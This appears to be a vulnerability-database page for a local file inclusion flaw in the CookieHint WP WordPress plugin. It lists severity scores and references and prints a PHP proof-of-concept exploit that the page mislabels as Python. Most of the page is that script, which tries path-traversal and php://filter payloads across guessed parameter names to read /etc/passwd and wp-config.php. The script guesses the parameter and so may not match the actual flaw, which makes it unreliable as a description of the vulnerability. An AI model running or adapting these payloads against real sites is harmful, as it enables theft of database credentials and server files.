CVE-2025-68870

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in reDim GmbH CookieHint WP cookiehint-wp allows PHP Local File Inclusion.This issue affects CookieHint WP: from n/a through <= 1.0.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

cookiehint-wp <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-68870 PoC - CookieHint WP Local File Inclusion
 * Target: WordPress Plugin cookiehint-wp <= 1.0.0
 * Type: Local File Inclusion (LFI)
 * 
 * Usage: Modify TARGET_URL and run with PHP CLI
 * Note: This PoC demonstrates reading sensitive files via LFI
 */

// Configuration
$targetUrl = 'http://target-site.com/wp-content/plugins/cookiehint-wp/';

// Common vulnerable parameter names for LFI in WordPress plugins
$params = ['file', 'page', 'view', 'include', 'load', 'template'];

// Files to attempt reading
$filesToRead = [
    '../../../../../../../../etc/passwd',
    '../../../../../../../../wp-config.php',
    '../../../../../../../../../../../var/www/html/wp-config.php',
    'php://filter/convert.base64-encode/resource=../wp-config.php'
];

// Function to test LFI vulnerability
function testLFI($baseUrl, $param, $file) {
    $url = $baseUrl . '?' . $param . '=' . urlencode($file);
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'timeout' => 10,
            'ignore_errors' => true
        ]
    ]);
    
    $response = @file_get_contents($url, false, $context);
    return $response;
}

// Example exploitation scenarios
echo "=== CVE-2025-68870 LFI PoC ===\n";
echo "Target: " . $targetUrl . "\n\n";

// Test each file
foreach ($filesToRead as $file) {
    foreach ($params as $param) {
        $result = testLFI($targetUrl, $param, $file);
        if ($result && strlen($result) > 0 && stripos($result, 'root:') !== false || stripos($result, 'DB_NAME') !== false) {
            echo "[+] VULNERABLE! Parameter: $param\n";
            echo "[+] File: $file\n";
            echo substr($result, 0, 500) . "\n\n";
        }
    }
}

echo "PoC execution completed.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68870
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68870
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68870/
[4] VulDB https://vuldb.com/cve/CVE-2025-68870
[5] https://patchstack.com/database/Wordpress/Plugin/cookiehint-wp/vulnerability/wordpress-cookiehint-wp-plugin-1-0-0-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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